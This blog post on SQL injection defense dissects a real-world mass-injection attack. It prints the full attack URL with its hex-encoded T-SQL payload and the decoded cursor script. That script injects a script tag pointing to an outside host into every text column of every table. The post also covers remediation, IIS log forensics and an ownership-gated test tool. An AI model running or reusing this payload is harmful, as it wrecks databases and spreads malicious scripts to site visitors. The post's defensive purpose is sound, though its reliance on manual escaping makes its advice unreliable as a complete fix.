SQL Injection: Defense and Offense
SQL Injection has been a thorn in the side of many developers recently, although the concept and capacity to attack sites using SQL Injection has existed since sites began storing and retrieving data using a database. While it is nearly always the blame of the developer, it is important to understand that this vulnerability is both something that can be defended, and in all cases, completely eliminated.
SQL Injection is just as it sounds, Injection of SQL Statements through variables retrieved by the client and delivered to the server for processing. Let's take for example the current painful attack that most users are witnessing. Suppose you have created a site that displays content based on a key - for example:
Show the Product Details when you retrieve the ProductID (a number) through the URI querystring parameters.
http://sample.r2integrated.com/Products/Detail.aspx?ProductID=123
Now, in your application, you may be executing a SQL statement to retrieve the value by performing a simple string replacement.
Select * from Products where ProductID=@ProductID
If you are replacing @ProductID with the value from the URL, you will retrieve 123.
Or Will You? Like many other aspects of human interaction you must be aware that you cannot always trust everyone. For example - the current attack that is quote often seen maliciously attacks EVERY TABLE in your database, appending a javascript reference to each varchar field it can. This is done by simply modifying the URL that you already anticipate to retrieve ProductID:
http://sample.r2integrated.com/Products/Detail.aspx?ProductID=123;DECLARE+@S+VARCHAR(4000);SET+@S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352920
4445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622
E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D
622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653
D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F4375
72736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320574849
4C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275
D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B404
32B275D29292B27273C736372697074207372633D687474703A2F2F7777772E696273652E72752F6A732E6A733E3C2
F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F20405
42C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375727
36F7220+AS+VARCHAR(4000));EXEC(@S);
Now when your application retrieves the ProductID it includes the SQL Injection script.
Select * from Products where ProductID=123;
DECLARE @S VARCHAR(4000);
SET @S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152283
2353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616
D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612
E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233312
04F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C6
55F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2045584543282
7555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856415243484152283430303
0292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E696273652E72752F6A732E6A733E3C2F7
363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E442
0434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));
EXEC(@S);
This ominous script actually is a bit more scary than it looks - once you take the line assigning @S to the encoded value, and decode it - by printing @S instead of executing it, here is what you see:
DECLARE @T VARCHAR(255),
@C VARCHAR(255)
DECLARE Table_Cursor CURSOR
FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99
OR b.xtype=35
OR b.xtype=231
OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''
<script src=http://www.ibse.ru/js.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Nice huh? Thanks to your friendly local hacker - you now have a crippled website and application! Okay, so the good news - you can fix this very easily - just employ some logic within your apps to protect against this.
#1 - ALWAYS HAVE A DATABASE BACKUP PLAN IN PLACE!
#2 - Never used standard String Replacement within your applications as this will obviously happen.
#3 - Always perform type checking against your value - if you anticipate a number - MAKE SURE IT IS A NUMBER.
#4 - ALWAYS ESCAPE YOUR VALUES. This means - even when you pass the data type properly - always treat your value as a string (unless you cannot), and place it within single-quote - ESCAPING all existing single quotes in the value.
With Open Web Studio or ListX - this is all handled very easily:
Create the variable @ProductID, and set the Left and Right side of the values as Single Quotes. Then set the Data Type to number AND check the box for Escaping Single Quotes.
Now that you know how it sneaks in to your site, how do you diagnose where within your application you were attacked and now must repair to keep the bugger from attacking again - successfully!
If IIS logging was enabled, which is the default on most web servers, just take a look in the log for your site. The file should be dated the day OF the attack. If the attack occurred today, you will need to stop the Application Pool for your site, and then grab the log after it finishes writing.
Within the log - search for the last location that DECLARE was found. The portion of the URL preceeding the DECLARE will be the last entry point that was attacked, and more than likely (since you site is generally left non-operational, its almost definite). Taking that URL, track back into the app where that value was consumed.
Now that we know HOW the attack occurs, and WHERE the attack occurs - its important to be able to test your defensive measures with an attack that you can control (and that is completely safe).
We have create a tool that will spider through the links within the site (a new version is awaiting that is far more capable of finding links that are provided within script and other locations, but the current app will only locate anchor tags). The application will locate all possible Querystring attacks and formulate a list of the possible attacks.
You can select the url's it isolates, and click the Attack button - this will attack each URL with a "FRIENDLY" attack.
How does our attack work? Instead of the malicious code - it simply checks for the existence of a table called "SecurityCheckpoint".
if not exists(select top 1 * from sysobjects where name = 'SecurityCheckPoint')
EXEC ('Create Table SecurityCheckPoint(SCPId int identity(1,1),Url ntext)')
INSERT INTO SecurityCheckPoint(Url) VALUES ('{0}')
Now, the limitation here is pretty simply. If your database user DOES NOT have access to create tables - this attack will fail anyway. If so - either manually create the table OR allow the access.
You will need to install the .Net Framework 3.5 on your local machine before executing.
The tool provides the ability to spider a Url, and return possible attack points against the site. These points come back in the list. You can then select the attack points and hit “Attack” which will perform the SQL Injection attacks for the attack points and – IF the injection actually breaches the site – the table is created in the database of the site and it contains the URL that was breached.
This information is provided in the About tab on the application.
NOTE: To spider/attack, you MUST place the security file in the root of your site. This file, identified in the About identifies that the site can be spidered and attacked because you are the owner of the site.
CLICK HERE TO DOWNLOAD - IE ONLY